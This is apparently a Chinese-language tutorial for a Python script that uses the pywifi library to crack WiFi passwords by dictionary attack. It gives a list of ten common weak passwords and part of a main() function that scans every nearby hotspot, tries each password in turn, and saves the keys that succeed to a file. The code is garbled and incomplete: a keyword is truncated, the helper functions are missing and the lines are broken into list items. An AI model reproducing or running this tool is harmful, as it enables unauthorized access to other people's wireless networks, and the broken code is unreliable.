导入模块 这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。 from pywifi import *import timeimport sys字典准备随机搞的wifi弱口令TOP10 - 12345678
- 123456789
- 88888888
- 1234567890
- 00000000
- 87654321
- 66668888
- 11223344
- 147258369
- 11111111
配置扫描器推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里 - ef main():
- #扫描时常
- scantimes = 3
- #单个密码测试延迟
- testtimes = 15
- output = sys.stdout
- #结果文件保存路径
- files = "TestRes.txt"
- #字典列表
- keys = open(sys.argv[1],"r").readlines()
- print "|KEYS %s"%(len(keys))
- #实例化一个pywifi对象
- wifi = PyWiFi()
- #选择定一个网卡并赋值于iface
- iface = wifi.interfaces()[0]
- #通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
- scanres = scans(iface,scantimes)
- #统计附近被发现的热点数量
- nums = len(scanres)
- print "|SCAN GET %s"%(nums)
- print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)
- #将每一个热点信息逐一进行测试
- for i,x in enumerate(scanres):
- #测试完毕后,成功的结果讲存储到files中
- res = test(nums-i,iface,x,keys,output,testtimes)
- if res:
- open(files,"a").write(res)
|